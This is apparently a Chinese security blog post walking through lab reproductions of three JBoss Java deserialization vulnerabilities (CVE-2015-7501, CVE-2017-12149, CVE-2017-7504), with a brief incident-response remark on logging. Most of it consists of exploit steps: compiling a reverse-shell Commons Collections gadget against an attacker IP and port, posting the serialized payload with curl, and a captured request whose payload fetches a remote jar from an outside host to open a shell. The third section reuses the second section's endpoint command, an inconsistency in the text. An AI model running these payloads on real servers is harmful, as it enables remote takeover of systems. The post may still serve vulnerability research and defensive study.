大柚子

这世界不过如此

注:本文仅分享个人漏洞复现及排查,请勿用于非法途径。

漏洞列表

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

概述

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响范围

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

复现过程

使用vulhub一键搭建漏洞环境

访问URL:http://192.168.52.134:8080/invoker/JMXInvokerServlet,弹出下图,说明接口开放,存在反序列化漏洞

下载反序列化工具:https://github.com/ianxtianxt/CVE-2015-7501/


1、进入工具目录,执行命令
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
2、继续执行命令
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap IP:端口
(IP是攻击机ip,端口就是要监听的端口)

3、发起POST请求
curl http://192.168.52.134:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

抓捕的请求包如下:

JBosS AS 6.X 反序列化漏洞(CVE-2017-12149)

概述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

影响版本

JBoss 5.x – 6.x

复现过程

使用vulhub一键搭建漏洞环境

利用工具下载:https://github.com/joaomatosf/JavaDeserH2HC

当工具目录编译并生成序列化数据,生成ReverseShellCommonsCollectionsHashMap.class文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

序列化恶意数据至文件,生成ReverseShellCommonsCollectionsHashMap.ser文件

注:IP为攻击者IP,端口为反弹shell端口

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap IP:端口

构建POST数据包,把ReverseShellCommonsCollectionsHashMap.ser发送到靶机

curl http://192.168.52.134:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

注:–data-binary 以二进制的方式post数据

抓捕的数据包如下:

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

概述

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

影响版本

JBoss AS 4.x及之前版本

复现过程

环境使用vulhub一键搭建,漏洞出现在

/jbossmq-httpil/HTTPServerILServlet
请求中

利用工具下载:https://github.com/joaomatosf/JavaDeserH2HC

在工具目录编译并生成序列化数据,生成ReverseShellCommonsCollectionsHashMap.class文件

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

序列化恶意数据至文件,生成ReverseShellCommonsCollectionsHashMap.ser文件

注:IP为攻击者IP,端口为反弹shell端口

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap IP:端口

构建POST数据包,把ReverseShellCommonsCollectionsHashMap.ser发送到靶机

curl http://192.168.52.134:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

注:–data-binary 以二进制的方式post数据

抓捕的数据包如下:

POST /invoker/readonly HTTP/1.1
Host: 192.168.52.134:8080
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 1536
Content-Type: application/x-www-form-urlencoded

....sr..java.util.HashSet.D.....4...xpw.....?@......sr.4org.apache.commons.collections.keyvalue.TiedMapEntry....9......L..keyt..Ljava/lang/Object;L..mapt..Ljava/util/Map;xpt..foosr.*org.apache.commons.collections.map.LazyMapn....y.....L..factoryt.,Lorg/apache/commons/collections/Transformer;xpsr.:org.apache.commons.collections.functors.ChainedTransformer0...(z.....[.
iTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L.	iConstantq.~..xpvr..java.net.URLClassLoader...........xpsr.>org.apache.commons.collections.functors.InstantiateTransformer4......;...[..iArgst..[Ljava/lang/Object;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....ur..[Ljava.net.URL;RQ.$..h....xp....sr..java.net.URL.%76...r...I..hashCodeI..portL.	authorityt..Ljava/lang/String;L..fileq.~..L..hostq.~..L..protocolq.~..L..refq.~..xp........t..www.joaomatosf.comt."/rnp/java_files/JexRemoteTools.jarq.~..t..httppxur..[Ljava.lang.Class;......Z....xp....vq.~..sr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgsq.~..L..iMethodNameq.~..[..iParamTypesq.~..xpuq.~......t.
JexReverset.	loadClassuq.~.!....vr..java.lang.String...8z;.B...xpsq.~..uq.~......t.
xx.xx.xx.xxsr..java.lang.Integer.......8...I..valuexr..java.lang.Number...........xp..09uq.~.!....q.~.+vr..int...........xpsr..java.util.HashMap......`....F.
loadFactorI.	thresholdxp?@......w.........xxxHTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=utf-8
Content-Length: 1437
Date: Thu, 16 Jun 2022 09:57:43 GMT
Connection: close

<html><head><title>Apache Tomcat/5.5.20 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 500 - </h1><HR size="1" noshade="noshade"><p><b>type</b> Exception report</p><p><b>message</b> <u></u></p><p><b>description</b> <u>The server encountered an internal error () that prevented it from fulfilling this request.</u></p><p><b>exception</b> <pre>java.lang.ClassCastException: java.util.HashSet cannot be cast to org.jboss.invocation.MarshalledInvocation
	org.jboss.invocation.http.servlet.ReadOnlyAccessFilter.doFilter(ReadOnlyAccessFilter.java:106)
	org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96)
</pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the Apache Tomcat/5.5.20 logs.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/5.5.20</h3></body></html>

应急排查

Jboss的默认配置文件路径为:${JBOSS_HOME}/server/defaul/deploy/jbossweb.sar/server.xml,但是在此环境下,日志功能默认是被注释未开启的,故无访问日志可看。

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。